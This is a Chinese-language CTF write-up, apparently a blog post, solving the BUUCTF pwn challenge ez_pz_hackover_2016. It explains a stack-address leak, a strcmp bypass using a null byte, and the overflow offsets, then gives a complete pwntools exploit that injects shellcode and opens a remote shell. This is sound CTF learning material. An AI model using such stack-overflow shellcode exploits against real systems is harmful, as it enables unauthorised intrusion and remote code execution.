BUUCTF Pwn ez_pz_hackover_2016 WP

下载 checksec exeinfo

32位 IDA32打开 查看函数

首先会泄露变量s的地址(栈地址) 然后会对输入进行判断 存在crashme就将输入复制到dest变量

存在栈溢出 对于strcmp的比较 可以用 \x00 截断 

但是dest的偏移不是IDA所写的

动态调试:

可以看到 输入字符‘c’的位置应该在0x22 ebp在0x38 0x38-0x22=0x16  再加4字节到返回地址

泄露的栈地址和shellcode的地址有0x20的偏移 再加个4位的地址

exp:

from pwn import *

#p = process('./ez')
p = remote("node5.buuoj.cn", 25161)
context.log_level = 'debug'
context.arch = 'i386'
p.recvuntil("crash: ")
stack_addr = int(p.recv(10), 16)

#gdb.attach(p)
#pause()

shellcode = asm(shellcraft.sh())

payload = b'crashme\x00' + b'a' * (0x16 + 4 - 8) + p32(stack_addr - 0x20 + 4 ) + shellcode
p.sendline(payload)
p.interactive()

运行 得到flag:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值